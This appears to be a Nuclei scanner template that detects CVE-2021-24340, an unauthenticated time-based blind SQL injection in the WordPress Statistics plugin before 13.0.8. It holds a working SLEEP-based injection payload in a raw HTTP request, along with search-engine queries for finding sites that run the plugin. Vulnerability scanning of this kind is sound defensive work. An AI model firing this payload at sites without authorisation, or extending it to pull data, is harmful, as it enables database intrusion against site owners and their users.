WordPress Statistics <13.0.8 - Blind SQL Injection

id: CVE-2021-24340

info:
  name: WordPress Statistics <13.0.8 - Blind SQL Injection
  author: lotusdll,j4vaovo
  severity: high
  description: WordPress Statistic plugin versions prior to version 13.0.8 are affected by an unauthenticated time-based blind SQL injection vulnerability.
  impact: |
    Unauthenticated attackers can extract database contents via time-based blind SQL injection, potentially exposing sensitive WordPress configuration and user data.
  remediation: |
    Update to WordPress Statistics plugin version 13.0.8 or later to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49894
    - https://www.wordfence.com/blog/2021/05/over-600000-sites-impacted-by-wp-statistics-patch/
    - https://github.com/Udyz/WP-Statistics-BlindSQL
    - https://wpscan.com/vulnerability/d2970cfb-0aa9-4516-9a4b-32971f41a19c
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24340
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24340
    cwe-id: CWE-89
    epss-score: 0.29776
    epss-percentile: 0.98014
    cpe: cpe:2.3:a:veronalabs:wp_statistics:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: veronalabs
    product: wp_statistics
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/wp-statistics/
    fofa-query: body=/wp-content/plugins/wp-statistics/
    publicwww-query: /wp-content/plugins/wp-statistics/
    google-query: inurl:/wp-content/plugins/wp-statistics
  tags: time-based-sqli,cve2021,cve,wp-plugin,unauth,wpscan,wordpress,sqli,blind,edb,veronalabs,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-statistics/readme.txt HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 15s
        GET /wp-admin/admin.php?page=wps_pages_page&ID=0+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))test)&type=home HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'contains(body_1, "WP Statistics")'
        condition: and

      - type: dsl
        dsl:
          - 'duration_2>=7'
          - 'status_code_2 == 500'
          - 'contains(body_2, ">WordPress &rsaquo; Error<") && contains(body_2, ">Your request is not valid.<")'
        condition: and
# digest: 4a0a00473045022100f8f8036a05880dd5455599aa111841e0be32961a6de8d11f56b9935ecf6d127f02200a3f1d57bfe8e8a851a1a0d4cb6053d0a5432f484290d4af2e382e8d5157191c:922c64590222798bb761d5b6d8e72950